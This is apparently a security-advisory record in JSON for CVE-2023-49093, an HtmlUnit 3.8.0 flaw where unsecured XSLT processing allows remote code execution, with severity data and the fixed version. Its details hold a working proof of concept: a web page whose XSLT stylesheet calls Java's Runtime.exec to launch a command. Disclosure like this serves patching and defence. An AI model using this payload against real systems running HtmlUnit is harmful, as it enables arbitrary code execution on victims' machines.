{"id":"CVE-2023-49093","aliases":["GHSA-37vq-hr2f-g7h7"],"url":"https://o3.security/vulnerability/CVE-2023-49093","summary":"HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL","details":"### Summary\nHtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage\n\n### Details\nVulnerability code location:\norg.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)\n\nThe reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor\n\n### PoC\npom.xml:\n```\n<dependency>\n  <groupId>org.htmlunit</groupId>\n  <artifactId>htmlunit</artifactId>\n  <version>3.8.0</version>\n</dependency>\n```\n\ncode:\n```\nWebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);\nHtmlPage page = webClient.getPage(\"http://127.0.0.1:8080/test.html\");\nSystem.out.println(page.asNormalizedText());\n```\n\ntest.html:\n```\n<script>\n    var xslt = new ActiveXObject(\"Msxml2.XSLTemplate.6.0\");\n    var xslDoc = new ActiveXObject(\"Msxml2.FreeThreadedDOMDocument.6.0\");\n    var xslProc;\n    xslDoc.async = false;\n    xslDoc.loadXML(`<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:rt=\"http://xml.apache.org/xalan/java/java.lang.Runtime\" xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\">\n   <xsl:template match=\"/\">\n     <xsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/>\n     <xsl:variable name=\"process\" select=\"rt:exec($rtobject,'open -a Calculator')\"/>\n     <xsl:variable name=\"processString\" select=\"ob:toString($process)\"/>\n     <span><xsl:value-of select=\"$processString\"/></span>\n   </xsl:template>\n </xsl:stylesheet>`)\n\n    if (xslDoc.parseError.errorCode != 0) {\n        var myErr = xslDoc.parseError;\n        document.write(\"ParseError: \"+myErr.reason);\n    } else {\n        xslt.stylesheet = xslDoc;\n        var xmlDoc = new ActiveXObject(\"Msxml2.DOMDocument.6.0\");\n        xmlDoc.async = false;\n        xmlDoc.loadXML(\"<s></s>\");\n        if (xmlDoc.parseError.errorCode != 0) {\n            var myErr = xmlDoc.parseError;\n            document.write(\"Document error: \" + myErr.reason);\n        } else {\n            xslProc = xslt.createProcessor();\n            xslProc.input = xmlDoc;\n            xslProc.transform();\n            document.write(xslProc.output);\n        }\n    }\n</script>\n```\n\n\n### Impact\nRemote Code Execution","published":"2023-12-04T04:47:27.145Z","modified":"2026-08-12T03:51:43.492094973Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Maven","name":"org.htmlunit:htmlunit","fixedVersion":"3.9.0"}],"fix":null,"references":[{"type":"WEB","url":"https://www.htmlunit.org/changes-report.html#a3.9.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/49xxx/CVE-2023-49093.json"},{"type":"ADVISORY","url":"https://github.com/HtmlUnit/htmlunit/security/advisories/GHSA-37vq-hr2f-g7h7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49093"},{"type":"PACKAGE","url":"https://github.com/HtmlUnit/htmlunit"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:43.492094973Z"}}